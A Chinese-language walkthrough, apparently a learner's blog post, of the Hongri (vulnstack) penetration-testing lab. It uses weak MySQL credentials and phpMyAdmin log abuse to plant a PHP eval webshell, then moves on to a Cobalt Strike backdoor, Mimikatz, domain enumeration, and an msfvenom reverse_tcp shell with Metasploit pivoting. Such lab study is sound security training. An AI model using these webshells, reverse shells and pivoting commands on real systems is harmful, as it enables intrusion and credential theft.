环境搭建
下载好镜像文件并解压,启动vmware
这里我用自己的win7 sp1虚拟机作为攻击机,设置为双网卡NAT,vm2
其中用ipconfig查看攻击机ip地址
设置win7 x64为双网卡,vm1,vm2
设置win08单网卡vm1,win2k3为单网卡vm1
这样攻击机就可以访问win7 x64,但不能直接访问win08和win2k3。
三台靶机的初始密码都是hongrisec@2019 ,初次登录需要改密码。
进入win7 x64,开启web服务
这里是提前就下好了一个phpstudy
然后我们用nmap去扫描
访问phpinfo页面
然后我们猜一下是不是root/root的弱口令
尝试使用file_into或日志写入webshell。
secure_file_priv的值为"空"时允许任意文件写入,为"null"时不允许任何写入。该值也可以为路径;
show global variables like "%secure%";
算了,转战扫描目录
用dirsearch扫描一下目录
可以看到我们扫描到了phpmyadmin,访问/phpmyadmin 使用 刚刚检测到的 root:root 登录一下,成功登录进去了
在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个yxcms服务
看师傅的说法,phpmyadmin有两种getshell方式:
- into outfile导出木马
- 利用Mysql日志文件getshell
我们挨个试一下。
-尝试into outfile导出木马(失败)
执行 select @@basedir;
查看一下网站的路径
路径为:C:/phpStudy/MySQL/
再执行 select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php';
直接将木马写入到 www网站根目录下 失败
百度了一下说是,因为 Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';
命令来查看该参数
当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv =""。
直接写入木马不行,那我们就换另一种方法
-利用Mysql日志文件写入shell
先执行命令:show variables like '%general%';
查看日志状态:
当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell
SET GLOBAL general_log='on'
开启 general_log
SET GLOBAL general_log_file='C:/phpStudy/www/hack.php'
指定日志写入到网站根目录的 hack.php 文件
然后接下来执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>'
,即可将一句话木马写入 hack.php 文件中 访问/hack.php 成功写入,也能访问页面,那就用蚁剑直接连一下看看
前面我们登录进去之后,可以看到还有一个yxcms的数据库,同时我们进入后台之后,可以看到一个 beifen.rar备份文件和yxcms目录,这道题其实还有一种getshell的方法,这里我们也记录一下。 字典不够强大,没扫出来 beifen.rar和 /yxcms
访问/yxcms,可以看到在公告处,泄露了 yxcms的admin后台登录路径 以及 默认的密码
成功登录
编辑模板的地方,我们新增一个shell.php
我们把beifen.rar备份文件解压,在里面寻找模板的这么多php 都存放在了:/yxcms/protected/apps/default/view/default/
因此我们的shell.php 就生成在了这里
蚁剑连接 拿到shell
我们在拿到的shell 执行 whoami
发现是administrator权限 在域中
ifconfig
发现了内网网段 192.168.52.0/24
在kali里 ./teamserver 192.168.236.128 cs123456
运行cs服务
配置好listener监听器之后,生成 exe后门程序
利用蚁剑 把生成的artifact.exe 上传到靶机上:
在终端里执行 artifact.exe 可以看到靶机上线到CS上
可使用 Mimikatz 直接抓取本机用户密码,执行 net view 发现了域内另外俩台机器
我们可以进行上传文件操作
接下来进行信息收集
我们用ipconfig /all命令
DNS 服务器名为 god.org,当前登录域为 GOD 再执行net view /domain
查看有几个域
只有一个域,用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA
然后我们用命令
net view
已知信息:域控主机:192.168.52.138,同时还存在一台域成员主机:192.168.52.141
然后我们以域用户 administrator登录,输入密码
我们使用Kali的msf先反弹一个shell
用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php
生成反弹shell文件
msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.101
set lport 4444
run
设置监听
用蚁剑上传shell.php
获取msf反弹shell,添加路由到目标环境网络,使得msf能够通过win7路由转发访问192.168.25.0/24网段
查看路由信息
run get_local_subnets
添加一条路由
run autoroute -s 192.168.52.0/24
用msf的socks4代理模块
按i进入编辑器
修改etc/proxychains.conf
[ProxyList]
socks4 192.168.1.101 1080
proxychains代理nmap扫描主机
进行到这一步,,接下来的操作就有点没看明白了,整个过程都是懵懵的,看师傅怎么做我就怎么做,感觉完全跟着师傅的思路走,看见师傅还有哈希传递攻击什么的
参考文章
[WEB安全]红日靶场(一)环境搭建_红日靶场1环境搭建-CSDN博客
红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记-CSDN博客
https://www.cnblogs.com/1vxyz/p/17201316.html